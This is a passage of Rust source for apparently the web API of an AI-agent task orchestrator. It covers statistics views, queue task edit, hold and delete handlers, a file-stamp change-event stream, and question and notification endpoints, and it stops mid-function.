5654impl From<&stats::ReviewerStats> for ReviewerStatsView {
5655 fn from(r: &stats::ReviewerStats) -> Self {
5656 Self {
5657 agent: r.agent.clone(),
5658 rounds: r.rounds,
5659 seated: r.seated,
5660 submitted: r.submitted,
5661 adopted: r.adopted,
5662 unique: r.unique,
5663 timeouts: r.timeouts,
5664 adopted_per_round: (r.rounds > 0).then(|| r.adopted_per_round()),
5665 precision: RateView::of(r.adopted, r.submitted),
5666 unique_rate: RateView::of(r.unique, r.submitted),
5667 timeout_rate: RateView::of(r.timeouts, r.seated),
5668 }
5669 }
5670}
5671
5672#[derive(Debug, Serialize)]
5678struct AdvisorStatsView {
5679 agent: String,
5680 seated: usize,
5681 proposed: usize,
5682 absent: usize,
5683 faint: usize,
5684 strong: usize,
5685 reflection_rate: Option<RateView>,
5686}
5687
5688impl From<&stats::AdvisorStats> for AdvisorStatsView {
5689 fn from(a: &stats::AdvisorStats) -> Self {
5690 Self {
5691 agent: a.agent.clone(),
5692 seated: a.seated,
5693 proposed: a.proposed,
5694 absent: a.absent,
5695 faint: a.faint,
5696 strong: a.strong,
5697 reflection_rate: RateView::of(a.strong, a.proposed),
5698 }
5699 }
5700}
5701
5702#[derive(Debug, Serialize)]
5704struct E2eStatsView {
5705 rounds: usize,
5706 failures: usize,
5707 sole_detections: usize,
5708 deferred: usize,
5709 sole_rate: Option<RateView>,
5710}
5711
5712impl From<&stats::E2eStats> for E2eStatsView {
5713 fn from(e: &stats::E2eStats) -> Self {
5714 Self {
5715 rounds: e.rounds,
5716 failures: e.failures,
5717 sole_detections: e.sole_detections,
5718 deferred: e.deferred,
5719 sole_rate: RateView::of(e.sole_detections, e.failures),
5720 }
5721 }
5722}
5723
5724#[derive(Debug, Serialize)]
5732struct ReleaseBumpStatsView {
5733 merged: usize,
5734 recorded: usize,
5735 pr_opened: usize,
5736 automerge_enabled: usize,
5737 merged_directly: usize,
5738 needs_attention: usize,
5739 clean: usize,
5740 coverage_rate: Option<RateView>,
5741 automerge_rate: Option<RateView>,
5742 attention_rate: Option<RateView>,
5743}
5744
5745impl From<&stats::ReleaseBumpStats> for ReleaseBumpStatsView {
5746 fn from(b: &stats::ReleaseBumpStats) -> Self {
5747 Self {
5748 merged: b.merged,
5749 recorded: b.recorded,
5750 pr_opened: b.pr_opened,
5751 automerge_enabled: b.automerge_enabled,
5752 merged_directly: b.merged_directly,
5753 needs_attention: b.needs_attention,
5754 clean: b.clean(),
5755 coverage_rate: RateView::of(b.recorded, b.merged),
5756 automerge_rate: RateView::of(b.automerge_enabled, b.pr_opened),
5757 attention_rate: RateView::of(b.needs_attention, b.recorded),
5758 }
5759 }
5760}
5761
5762#[derive(Debug, Serialize)]
5764struct TaskCountsView {
5765 queued: usize,
5766 running: usize,
5767 done: usize,
5768 failed: usize,
5769 held: usize,
5770 blocked: usize,
5771 parked: usize,
5772}
5773
5774impl From<crate::queue::TaskCounts> for TaskCountsView {
5775 fn from(c: crate::queue::TaskCounts) -> Self {
5776 Self {
5777 queued: c.queued,
5778 running: c.running,
5779 done: c.done,
5780 failed: c.failed,
5781 held: c.held,
5782 blocked: c.blocked,
5783 parked: c.parked,
5784 }
5785 }
5786}
5787
5788#[derive(Debug, Serialize)]
5794struct RepoSummaryView {
5795 repo: String,
5798 name: String,
5800 runs: usize,
5801 completion_rate: Option<RateView>,
5802}
5803
5804impl From<&stats::RepoStats> for RepoSummaryView {
5805 fn from(r: &stats::RepoStats) -> Self {
5806 let t = &r.stats.totals;
5807 Self {
5808 repo: r.repo.to_string_lossy().into_owned(),
5809 name: r.name.clone(),
5810 runs: t.runs,
5811 completion_rate: RateView::of(t.merged + t.ready, t.runs),
5812 }
5813 }
5814}
5815
5816#[derive(Debug, Serialize)]
5822struct StatsView {
5823 totals: StatsTotalsView,
5824 agents: Vec<AgentStatsView>,
5826 reviewers: Vec<ReviewerStatsView>,
5828 advisors: Vec<AdvisorStatsView>,
5830 e2e: E2eStatsView,
5831 release_bumps: ReleaseBumpStatsView,
5832 queue: TaskCountsView,
5833 runs_unreadable: usize,
5843 repos: Vec<RepoSummaryView>,
5847 daily: Vec<DailyStatsView>,
5852 repo: Option<String>,
5856 retired_hidden: Vec<String>,
5860}
5861
5862#[derive(Debug, Serialize)]
5864struct DailyStatsView {
5865 date: String,
5867 runs: usize,
5868 merged: usize,
5869 ready: usize,
5870 other: usize,
5871 completion_rate: Option<RateView>,
5873}
5874
5875impl From<&stats::DayBucket> for DailyStatsView {
5876 fn from(b: &stats::DayBucket) -> Self {
5877 Self {
5878 date: b.date.to_string(),
5879 runs: b.runs,
5880 merged: b.merged,
5881 ready: b.ready,
5882 other: b.other,
5883 completion_rate: RateView::of(b.merged + b.ready, b.runs),
5884 }
5885 }
5886}
5887
5888const STATS_DAILY_DAYS: usize = 30;
5890
5891#[derive(Debug, Default, Deserialize)]
5900#[serde(default)]
5901struct StatsQuery {
5902 repo: Option<String>,
5903 all: bool,
5905}
5906
5907async fn stats_get(
5914 State(ui): State<Arc<Ui>>,
5915 Query(q): Query<StatsQuery>,
5916) -> ApiResult<Json<StatsView>> {
5917 blocking(move || {
5918 let states: Vec<RunState> = run_ids(&ui.runs)
5919 .into_iter()
5920 .filter_map(|id| read_run(&ui.runs, &id).ok())
5921 .collect();
5922 let repos: Vec<RepoSummaryView> = stats::by_repo(&states)
5923 .iter()
5924 .map(RepoSummaryView::from)
5925 .collect();
5926 let mut scoped: Vec<&RunState> = states.iter().collect();
5927 let mut collected = match &q.repo {
5928 Some(repo) => {
5929 let filtered = stats::filter_repo(&states, std::path::Path::new(repo));
5930 if filtered.is_empty() {
5931 return Err(ApiError::not_found(format!(
5932 "no runs recorded against repo `{repo}`"
5933 )));
5934 }
5935 scoped = filtered.clone();
5936 stats::collect_refs(filtered)
5937 }
5938 None => stats::collect(&states),
5939 };
5940 if !q.all {
5941 let repo = q
5942 .repo
5943 .as_deref()
5944 .map_or_else(|| ui.repo.clone(), PathBuf::from);
5945 stats::retain_current_roster(&mut collected, &repo);
5946 }
5947 let daily = stats::daily(
5948 scoped,
5949 jiff::Zoned::now().date(),
5950 &jiff::tz::TimeZone::system(),
5951 STATS_DAILY_DAYS,
5952 );
5953 let queue_counts = crate::queue::TaskCounts::of(&ui.queue.list());
5954 Ok(Json(StatsView {
5955 totals: StatsTotalsView::from(&collected.totals),
5956 agents: collected.agents.iter().map(AgentStatsView::from).collect(),
5957 reviewers: collected
5958 .reviewers
5959 .iter()
5960 .map(ReviewerStatsView::from)
5961 .collect(),
5962 advisors: collected
5963 .advisors
5964 .iter()
5965 .map(AdvisorStatsView::from)
5966 .collect(),
5967 e2e: E2eStatsView::from(&collected.e2e),
5968 release_bumps: ReleaseBumpStatsView::from(&collected.release_bumps),
5969 queue: TaskCountsView::from(queue_counts),
5970 runs_unreadable: runs_unreadable(&ui.runs),
5971 repos,
5972 daily: daily.iter().map(DailyStatsView::from).collect(),
5973 repo: q.repo.clone(),
5974 retired_hidden: collected.retired_hidden.clone(),
5975 }))
5976 })
5977 .await
5978}
5979
5980#[derive(Debug, Default, Deserialize)]
5983#[serde(default, deny_unknown_fields)]
5984struct HoldBody {
5985 reason: Option<String>,
5986}
5987
5988async fn queue_hold(
5989 State(ui): State<Arc<Ui>>,
5990 Path(id): Path<String>,
5991 body: std::result::Result<Json<HoldBody>, JsonRejection>,
5992) -> ApiResult<Json<TaskView>> {
5993 let body = match body {
5997 Ok(Json(body)) => body,
5998 Err(JsonRejection::MissingJsonContentType(_)) => HoldBody::default(),
5999 Err(e) => return Err(ApiError::bad_request(e.body_text())),
6000 };
6001 let reason = body.reason.filter(|r| !r.trim().is_empty());
6002 mutate(ui, id, move |t| {
6003 t.hold_manual(reason.clone());
6004 Ok(())
6005 })
6006 .await
6007}
6008
6009async fn queue_release(
6010 State(ui): State<Arc<Ui>>,
6011 Path(id): Path<String>,
6012) -> ApiResult<Json<TaskView>> {
6013 mutate(ui, id, |t| {
6014 t.release_operator("web", None);
6015 Ok(())
6016 })
6017 .await
6018}
6019
6020#[derive(Debug, Deserialize)]
6021#[serde(deny_unknown_fields)]
6022struct AttemptLimitBody {
6023 attempt_limit: serde_json::Value,
6025}
6026
6027async fn queue_attempt_limit(
6028 State(ui): State<Arc<Ui>>,
6029 Path(id): Path<String>,
6030 body: std::result::Result<Json<AttemptLimitBody>, JsonRejection>,
6031) -> ApiResult<Json<TaskView>> {
6032 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6033 let limit = serde_json::from_value::<Option<std::num::NonZeroUsize>>(body.attempt_limit)
6034 .map_err(|_| ApiError::bad_request("attempt_limit must be a positive integer or null"))?;
6035 mutate(ui, id, move |t| t.change_attempt_limit(limit)).await
6036}
6037
6038#[derive(Debug, Deserialize)]
6039#[serde(deny_unknown_fields)]
6040struct ImplementersBody {
6041 implementers: u8,
6042}
6043
6044async fn queue_implementers(
6045 State(ui): State<Arc<Ui>>,
6046 Path(id): Path<String>,
6047 body: std::result::Result<Json<ImplementersBody>, JsonRejection>,
6048) -> ApiResult<Json<TaskView>> {
6049 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6050 mutate(ui, id, move |t| t.change_implementers(body.implementers)).await
6051}
6052
6053#[derive(Debug, Deserialize)]
6054#[serde(deny_unknown_fields)]
6055struct UrgentBody {
6056 urgent: bool,
6057}
6058
6059async fn queue_urgent(
6060 State(ui): State<Arc<Ui>>,
6061 Path(id): Path<String>,
6062 body: std::result::Result<Json<UrgentBody>, JsonRejection>,
6063) -> ApiResult<Json<TaskView>> {
6064 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6065 mutate(ui, id, move |t| t.set_urgent(body.urgent)).await
6066}
6067
6068#[derive(Debug, Deserialize)]
6070#[serde(deny_unknown_fields)]
6071struct PriorityBody {
6072 priority: i32,
6073}
6074
6075async fn queue_priority(
6081 State(ui): State<Arc<Ui>>,
6082 Path(id): Path<String>,
6083 body: std::result::Result<Json<PriorityBody>, JsonRejection>,
6084) -> ApiResult<Json<TaskView>> {
6085 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6086 mutate(ui, id, move |t| t.set_priority(body.priority)).await
6087}
6088
6089#[derive(Debug, Deserialize)]
6091#[serde(deny_unknown_fields)]
6092struct EditBody {
6093 title: String,
6094 instruction: String,
6095 #[serde(default)]
6098 force: bool,
6099}
6100
6101async fn queue_edit(
6105 State(ui): State<Arc<Ui>>,
6106 Path(id): Path<String>,
6107 body: std::result::Result<Json<EditBody>, JsonRejection>,
6108) -> ApiResult<Json<TaskView>> {
6109 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6110 let mut judged: Option<(String, PathBuf)> = None;
6114 if !body.force {
6115 let (queue, runs) = (ui.queue.clone(), ui.runs.clone());
6116 let (id, text) = (id.clone(), body.instruction.clone());
6117 let (seen, hits) = blocking(move || {
6118 let id = resolve_task(&queue, &id)?;
6119 let t = queue.get(&id)?;
6120 if text == t.instruction {
6121 return Ok((None, Vec::new()));
6122 }
6123 let hits = crate::dupes::check(&queue, &runs, &t.repo, &text, None, Some(&t.id));
6124 Ok((Some((t.instruction, t.repo)), hits))
6125 })
6126 .await?;
6127 if let Some((_, repo)) = &seen {
6128 let cfg = crate::config::Config::discover(repo, None)
6129 .ok()
6130 .map(|(c, _)| c);
6131 let screened =
6132 crate::dupes::screen_with_config(hits, &body.instruction, None, repo, cfg.as_ref())
6133 .await
6134 .map_err(|dup| {
6135 ApiError::conflict(dup.render(
6136 "Nothing was saved. If it is not a duplicate, repeat the request \
6137 with \"force\": true.",
6138 ))
6139 })?;
6140 if let crate::dupes::Screened::Unjudged(why) = screened {
6141 tracing::warn!(%why, "task edit saved without a duplicate-work judgement");
6142 }
6143 }
6144 judged = seen;
6145 }
6146 let force = body.force;
6147 mutate(ui, id, move |t| {
6148 if !force && body.instruction != t.instruction {
6149 match &judged {
6150 Some((instruction, repo)) if *instruction == t.instruction && *repo == t.repo => {}
6151 _ => {
6152 anyhow::bail!("the task changed while it was being checked; repeat the request")
6153 }
6154 }
6155 }
6156 t.edit(body.title.clone(), body.instruction.clone())
6157 })
6158 .await
6159}
6160
6161async fn queue_done(
6169 State(ui): State<Arc<Ui>>,
6170 Path(id): Path<String>,
6171) -> ApiResult<Json<TaskView>> {
6172 let home = ui.home.clone();
6173 mutate(ui, id, move |t| {
6174 t.succeed();
6175 crate::daemon::supersede_prior_runs(t, &home);
6183 Ok(())
6184 })
6185 .await
6186}
6187
6188async fn queue_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
6196 blocking(move || {
6197 let id = resolve_task(&ui.queue, &id)?;
6198 let in_flight = crate::daemon::is_working_on_task(&ui.home, &id, jiff::Timestamp::now());
6199 ui.queue
6200 .remove(&id, in_flight, &ui.questions)
6201 .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
6202 Ok(StatusCode::NO_CONTENT)
6203 })
6204 .await
6205}
6206
6207async fn mutate(
6216 ui: Arc<Ui>,
6217 id: String,
6218 change: impl FnOnce(&mut Task) -> Result<()> + Send + 'static,
6219) -> ApiResult<Json<TaskView>> {
6220 blocking(move || {
6221 let id = resolve_task(&ui.queue, &id)?;
6222 let _claim = ui.queue.claim(&id).map_err(|e| {
6227 ApiError::conflict(format!(
6228 "{e:#} - a daemon is running this task, so it cannot be \
6229 changed from here yet; wait until it is released, then retry"
6230 ))
6231 })?;
6232 let mut task = ui.queue.get(&id)?;
6233 change(&mut task).map_err(|e| match e.downcast::<crate::dupes::Duplicate>() {
6234 Ok(dup) => ApiError::conflict(dup.render(
6235 "Nothing was saved. If it is not a duplicate, repeat the request with \
6236 \"force\": true.",
6237 )),
6238 Err(e) => ApiError::bad_request_from(e),
6239 })?;
6240 ui.queue.put(&mut task)?;
6241 Ok(Json(TaskView::from(task)))
6242 })
6243 .await
6244}
6245
6246async fn events(State(ui): State<Arc<Ui>>) -> impl IntoResponse {
6254 let (tx, rx) = tokio::sync::mpsc::channel::<Event>(4);
6255 tokio::spawn(async move {
6256 let mut ticker = tokio::time::interval(POLL);
6257 let mut last: Option<(u64, u64, u64, u64, u64, u64)> = None;
6258 let mut stamps: Option<[Stamps; 3]> = None;
6259 loop {
6260 ticker.tick().await;
6263 let state = Arc::clone(&ui);
6264 let revisions = tokio::task::spawn_blocking(move || {
6265 let stamps = [
6266 store_stamps(state.queue.root(), false),
6267 store_stamps(&state.runs, true),
6268 store_stamps(state.talks.root(), false),
6269 ];
6270 let revisions = (
6271 stamps_revision(&stamps[0]),
6272 stamps_revision(&stamps[1]),
6273 state.questions.revision(),
6274 stamps_revision(&stamps[2]),
6275 state.notices.revision(),
6276 state.lock_loop().rev,
6280 );
6281 (revisions, stamps)
6282 })
6283 .await;
6284 let Ok((revisions, next_stamps)) = revisions else {
6285 break;
6286 };
6287 if last == Some(revisions) {
6288 continue;
6289 }
6290 let mut payload = serde_json::json!({
6291 "queue_rev": revisions.0,
6292 "runs_rev": revisions.1,
6293 "questions_rev": revisions.2,
6294 "talks_rev": revisions.3,
6295 "notifications_rev": revisions.4,
6296 "loop_rev": revisions.5,
6297 });
6298 if let (Some(base), Some(previous)) = (last, stamps.as_ref()) {
6299 for (index, (key, rev)) in [
6300 ("queue_delta", base.0),
6301 ("runs_delta", base.1),
6302 ("talks_delta", base.3),
6303 ]
6304 .into_iter()
6305 .enumerate()
6306 {
6307 let delta = diff_stamps(&previous[index], &next_stamps[index], rev);
6308 if delta.changed.len() + delta.removed.len() > 0 && delta.changed.len() <= 50 {
6310 payload[key] = serde_json::to_value(delta).expect("serializable delta");
6311 }
6312 }
6313 }
6314 last = Some(revisions);
6315 stamps = Some(next_stamps);
6316 let Ok(event) = Event::default().event("change").json_data(payload) else {
6318 break;
6319 };
6320 if tx.send(event).await.is_err() {
6321 break;
6322 }
6323 }
6324 });
6325 Sse::new(ReceiverStream::new(rx).map(Ok::<Event, Infallible>))
6326 .keep_alive(KeepAlive::new().interval(KEEPALIVE))
6327}
6328
6329type Stamps = HashMap<String, (u128, u64)>;
6330
6331fn store_stamps(root: &FsPath, runs: bool) -> Stamps {
6333 std::fs::read_dir(root)
6334 .into_iter()
6335 .flatten()
6336 .flatten()
6337 .filter_map(|entry| {
6338 let path = if runs {
6339 entry.path().join("run.json")
6340 } else {
6341 entry.path()
6342 };
6343 if !runs && path.extension().is_none_or(|ext| ext != "json") {
6344 return None;
6345 }
6346 let metadata = path.metadata().ok()?;
6347 let modified = metadata
6348 .modified()
6349 .ok()?
6350 .duration_since(std::time::UNIX_EPOCH)
6351 .ok()?;
6352 let id = if runs {
6353 entry.file_name().to_string_lossy().into_owned()
6354 } else {
6355 path.file_stem()?.to_string_lossy().into_owned()
6356 };
6357 Some((id, (modified.as_nanos(), metadata.len())))
6358 })
6359 .collect()
6360}
6361
6362#[derive(Debug, Serialize)]
6363struct Delta {
6364 base: u64,
6365 changed: Vec<String>,
6366 removed: Vec<String>,
6367}
6368
6369fn diff_stamps(previous: &Stamps, next: &Stamps, base: u64) -> Delta {
6370 let mut changed: Vec<_> = next
6371 .iter()
6372 .filter(|(id, stamp)| previous.get(*id) != Some(*stamp))
6373 .map(|(id, _)| id.clone())
6374 .collect();
6375 let mut removed: Vec<_> = previous
6376 .keys()
6377 .filter(|id| !next.contains_key(*id))
6378 .cloned()
6379 .collect();
6380 changed.sort_unstable();
6381 removed.sort_unstable();
6382 Delta {
6383 base,
6384 changed,
6385 removed,
6386 }
6387}
6388
6389fn runs_revision(runs: &FsPath) -> u64 {
6396 stamps_revision(&store_stamps(runs, true))
6397}
6398
6399fn stamps_revision(stamps: &Stamps) -> u64 {
6403 use std::hash::{Hash as _, Hasher as _};
6404 if stamps.is_empty() {
6405 return 0;
6406 }
6407 let mut entries: Vec<_> = stamps.iter().collect();
6408 entries.sort_unstable();
6409 let mut hasher = std::hash::DefaultHasher::new();
6410 entries.hash(&mut hasher);
6411 hasher.finish().max(1)
6412}
6413
6414fn run_ids(runs: &FsPath) -> Vec<String> {
6420 let mut ids: Vec<String> = std::fs::read_dir(runs)
6421 .into_iter()
6422 .flatten()
6423 .flatten()
6424 .filter(|e| e.path().join("run.json").is_file())
6425 .map(|e| e.file_name().to_string_lossy().into_owned())
6426 .collect();
6427 ids.sort_unstable_by(|a, b| b.cmp(a));
6429 ids
6430}
6431
6432fn read_run(runs: &FsPath, id: &str) -> Result<RunState> {
6434 let path = runs.join(id).join("run.json");
6435 let body =
6436 std::fs::read_to_string(&path).with_context(|| format!("read {}", path.display()))?;
6437 let state: RunState =
6438 serde_json::from_str(&body).with_context(|| format!("parse {}", path.display()))?;
6439 run::migrate_schema(state)
6444}
6445
6446#[must_use]
6454pub fn runs_unreadable(runs: &FsPath) -> usize {
6455 run_ids(runs)
6456 .into_iter()
6457 .filter(|id| read_run(runs, id).is_err())
6458 .count()
6459}
6460
6461fn resolve_run(runs: &FsPath, id: &str) -> ApiResult<String> {
6463 if runs.join(id).join("run.json").is_file() {
6464 return Ok(id.to_owned());
6465 }
6466 pick(run_ids(runs), id, "run")
6467}
6468
6469fn resolve_task(queue: &Queue, id: &str) -> ApiResult<String> {
6471 if queue.path_of(id).is_file() {
6472 return Ok(id.to_owned());
6473 }
6474 pick(queue.list().into_iter().map(|t| t.id).collect(), id, "task")
6475}
6476
6477#[derive(Debug, Serialize)]
6488struct QuestionView {
6489 choice_effects: std::collections::BTreeMap<String, String>,
6490 #[serde(flatten)]
6491 question: Question,
6492 detail_md: Vec<md::Node>,
6493 posting_view: Option<PostingView>,
6494 thread_bodies_md: Vec<Vec<md::Node>>,
6496 thread_notes_md: Vec<Option<Vec<md::Node>>>,
6499 waiting_on_agent: bool,
6509 holder: Option<&'static str>,
6513 deputies_enabled: bool,
6517 deputy_exhausted: bool,
6520 text_delivery: crate::question_delivery::Availability,
6521 run_is_task: bool,
6524 origin_chat: Option<String>,
6527 origin_chat_closed: bool,
6529 can_consult_chat: bool,
6531}
6532
6533#[derive(Debug, Serialize)]
6534struct PostingView {
6535 before_md: Vec<md::Node>,
6536 after_md: Vec<md::Node>,
6537 fields: Vec<crate::github_text::ComparisonView>,
6538}
6539
6540fn posting_view(question: &Question, base: &md::ImageBase) -> Option<PostingView> {
6541 let comparison = question.posting_comparison.as_ref()?;
6542 if !comparison.matches_detail(&question.detail) {
6543 return None;
6544 }
6545 let mut ids = std::collections::BTreeSet::new();
6546 if comparison.fields.is_empty()
6547 || comparison
6548 .fields
6549 .iter()
6550 .flat_map(|f| &f.pairs)
6551 .any(|p| !ids.insert(p.id))
6552 || comparison
6553 .fields
6554 .iter()
6555 .flat_map(|f| &f.original_triggers)
6556 .any(|t| !ids.insert(t.id))
6557 {
6558 return None;
6559 }
6560 let fields = comparison
6561 .fields
6562 .iter()
6563 .map(|f| f.view(comparison.excerpt))
6564 .collect::<Option<Vec<_>>>()?;
6565 Some(PostingView {
6566 before_md: md::to_nodes(question.detail.get(..comparison.start)?, base),
6567 after_md: md::to_nodes(question.detail.get(comparison.end..)?, base),
6568 fields,
6569 })
6570}
6571
6572impl QuestionView {
6573 fn of(question: Question, store: &ask::Questions, cfg: Option<&Config>) -> Self {
6577 let base = md::ImageBase::QuestionPanel {
6578 id: question.id.clone(),
6579 };
6580 let holder = holder_of(&question, store.read_lease(&question.id).as_ref());
6581 Self {
6582 choice_effects: question
6583 .choices
6584 .iter()
6585 .filter_map(|c| {
6586 crate::choice_effect::describe(&question, c).map(|effect| (c.clone(), effect))
6587 })
6588 .collect(),
6589 detail_md: md::to_nodes(&question.detail, &base),
6590 posting_view: posting_view(&question, &base),
6591 thread_bodies_md: question
6592 .thread
6593 .iter()
6594 .map(|t| md::to_nodes(&t.body, &base))
6595 .collect(),
6596 thread_notes_md: question
6597 .thread
6598 .iter()
6599 .map(|t| t.note.as_deref().map(|n| md::to_nodes(n, &base)))
6600 .collect(),
6601 deputy_exhausted: store.deputy_exhausted(&question),
6602 waiting_on_agent: question.waiting_on_agent(),
6603 holder,
6604 deputies_enabled: deputies_enabled(cfg, &question),
6605 text_delivery: crate::question_delivery::availability(store, &question, cfg),
6606 run_is_task: question.run_names_task(),
6607 origin_chat: None,
6608 origin_chat_closed: false,
6609 can_consult_chat: false,
6610 question,
6611 }
6612 }
6613
6614 fn with_origin(mut self, tasks: &[crate::queue::Task], talks: &[Talk]) -> Self {
6616 let consult = crate::consult::origin_talk(tasks, talks, &self.question);
6617 self.can_consult_chat = consult.is_some();
6618 let talk =
6619 consult.or_else(|| crate::consult::associated_talk(tasks, talks, &self.question));
6620 self.origin_chat_closed = talk.as_ref().is_some_and(|t| !t.status.open());
6621 self.origin_chat = talk.map(|t| t.id);
6622 self
6623 }
6624}
6625
6626fn deputy_config(repo: &std::path::Path) -> Option<Config> {
6630 Config::discover(repo, None).ok().map(|(c, _)| c)
6631}
6632
6633fn deputies_enabled(cfg: Option<&Config>, q: &Question) -> bool {
6635 crate::deputy::can_start(cfg, crate::deputy::agent_of(q))
6636}
6637
6638fn question_views(
6641 qs: Vec<Question>,
6642 store: &ask::Questions,
6643 load: impl FnOnce() -> Option<Config>,
6644) -> Vec<QuestionView> {
6645 if qs.is_empty() {
6646 return Vec::new();
6647 }
6648 let cfg = load();
6649 qs.into_iter()
6650 .map(|q| QuestionView::of(q, store, cfg.as_ref()))
6651 .collect()
6652}
6653
6654fn holder_of(q: &Question, lease: Option<&ask::Lease>) -> Option<&'static str> {
6664 if !q.status.open() {
6665 return None;
6666 }
6667 if q.cwd.is_none()
6668 && q.deputy.is_none()
6669 && lease.is_none_or(|l| !l.fresh(jiff::Timestamp::now()))
6670 {
6671 return crate::deputy::kind_of(q).map(|_| "nobody");
6672 }
6673 Some(match lease.filter(|l| l.fresh(jiff::Timestamp::now())) {
6674 Some(_) if q.deputy.is_some() => "deputy",
6675 Some(l) if l.kind == ask::WaiterKind::Daemon => "daemon",
6676 Some(_) => "asker",
6677 None => "nobody",
6678 })
6679}
6680
6681async fn questions_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionView>>> {
6687 blocking(move || {
6688 let (tasks, talks) = (ui.queue.list(), ui.talks.list());
6689 Ok(Json(
6690 question_views(ui.questions.list(), &ui.questions, || {
6691 deputy_config(&ui.repo)
6692 })
6693 .into_iter()
6694 .map(|v| v.with_origin(&tasks, &talks))
6695 .collect(),
6696 ))
6697 })
6698 .await
6699}
6700
6701async fn notifications_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
6704 blocking(move || {
6705 let items = ui.notices.list();
6706 let unread = items.iter().filter(|n| n.unread()).count();
6707 let items: Vec<_> = items
6708 .into_iter()
6709 .map(|n| {
6710 let question = crate::notices::answerable_question(&n, &ui.questions);
6711 let mut item = serde_json::to_value(n)?;
6712 item["answerable_question"] = serde_json::json!(question);
6713 Ok(item)
6714 })
6715 .collect::<anyhow::Result<_>>()?;
6716 Ok(Json(
6717 serde_json::json!({ "unread": unread, "items": items }),
6718 ))
6719 })
6720 .await
6721}
6722
6723fn notice_error(e: anyhow::Error) -> ApiError {
6724 ApiError::not_found(format!("{e:#}"))
6727}
6728
6729async fn notification_read(
6731 State(ui): State<Arc<Ui>>,
6732 Path(id): Path<String>,
6733) -> ApiResult<Json<Notice>> {
6734 blocking(move || ui.notices.mark_read(&id).map(Json).map_err(notice_error)).await
6735}
6736
6737async fn notification_dismiss(
6739 State(ui): State<Arc<Ui>>,
6740 Path(id): Path<String>,
6741) -> ApiResult<Json<Notice>> {
6742 blocking(move || ui.notices.dismiss(&id).map(Json).map_err(notice_error)).await
6743}
6744
6745async fn notifications_read_all(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
6747 blocking(move || {
6748 let changed = ui.notices.mark_all_read()?;
6749 Ok(Json(serde_json::json!({ "marked": changed })))
6750 })
6751 .await
6752}
6753
6754#[derive(Debug, Default, Deserialize)]
6760#[serde(default, deny_unknown_fields)]
6761struct NewAnswer {
6762 choice: Option<String>,
6763 text: Option<String>,
6764}
6765
6766async fn question_answer(
6767 State(ui): State<Arc<Ui>>,
6768 Path(id): Path<String>,
6769 body: std::result::Result<Json<NewAnswer>, axum::extract::rejection::JsonRejection>,
6770) -> ApiResult<Json<QuestionView>> {
6771 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6772 let answer = match (body.choice, body.text) {
6773 (Some(c), None) => Answer::Choice(c),
6774 (None, Some(t)) => Answer::Text(t),
6775 (Some(_), Some(_)) => {
6776 return Err(ApiError::bad_request(
6777 "send either `choice` or `text`, not both",
6778 ));
6779 }
6780 (None, None) => {
6781 return Err(ApiError::bad_request("send a `choice` or a `text`"));
6782 }
6783 };
6784
6785 blocking(move || {
6786 let id = resolve_question(&ui.questions, &id)?;
6787 let q = ui
6788 .questions
6789 .get(&id)
6790 .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
6791 if !q.status.open() {
6792 return Err(ApiError::conflict(format!(
6796 "question {} is already {}",
6797 q.short(),
6798 q.status.as_str()
6799 )));
6800 }
6801 let cfg = deputy_config(&ui.repo);
6805 let (q, ()) = ui
6806 .questions
6807 .update(&q.id, |r| r.answer(answer))
6808 .map_err(ApiError::bad_request_from)?;
6809 let (tasks, talks) = (ui.queue.list(), ui.talks.list());
6810 Ok(Json(
6811 QuestionView::of(q, &ui.questions, cfg.as_ref()).with_origin(&tasks, &talks),
6812 ))
6813 })
6814 .await
6815}
6816
6817fn question_text_error(e: anyhow::Error) -> ApiError {
6819 let reason = e
6820 .downcast_ref::<crate::question_delivery::TextUnavailable>()
6821 .map(|e| e.reason);
6822 let error = ApiError::bad_request_from(e);
6823 if let Some(reason) = reason {
6824 ApiError {
6825 text_reason: Some(reason),
6826 ..error.with_status(StatusCode::UNPROCESSABLE_ENTITY)
6827 }
6828 } else {
6829 error
6830 }
6831}
6832
6833#[derive(Debug, Deserialize)]
6835#[serde(deny_unknown_fields)]
6836struct NewSay {
6837 body: String,
6838}
6839
6840async fn question_say(
6850 State(ui): State<Arc<Ui>>,
6851 Path(id): Path<String>,
6852 body: std::result::Result<Json<NewSay>, JsonRejection>,
6853) -> ApiResult<Json<QuestionView>> {
6854 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6855 blocking(move || {
6856 let id = resolve_question(&ui.questions, &id)?;
6857 let q = ui
6858 .questions
6859 .get(&id)
6860 .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
6861 if !q.status.open() {
6862 return Err(ApiError::conflict(format!(
6866 "question {} is already {}",
6867 q.short(),
6868 q.status.as_str()
6869 )));
6870 }
6871 let cfg = deputy_config(&ui.repo);
6874 let (q, ()) = ui
6875 .questions
6876 .update(&q.id, |r| {
6877 if body.body.trim().is_empty() {
6878 return r.say(body.body);
6879 }
6880 crate::question_delivery::require(&ui.questions, r, cfg.as_ref())?;
6881 r.say(body.body)
6882 })
6883 .map_err(question_text_error)?;
6884 let (tasks, talks) = (ui.queue.list(), ui.talks.list());
6885 Ok(Json(
6886 QuestionView::of(q, &ui.questions, cfg.as_ref()).with_origin(&tasks, &talks),
6887 ))
6888 })
6889 .await
6890}
6891
6892async fn question_consult(
6901 State(ui): State<Arc<Ui>>,
6902 Path(id): Path<String>,
6903) -> ApiResult<(StatusCode, Json<QuestionView>)> {
6904 let (view, reclaimed) = blocking({
6905 let ui = Arc::clone(&ui);
6906 move || {
6907 let id = resolve_question(&ui.questions, &id)?;
6908 let q = ui
6909 .questions
6910 .get(&id)
6911 .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
6912 if !q.status.open() {
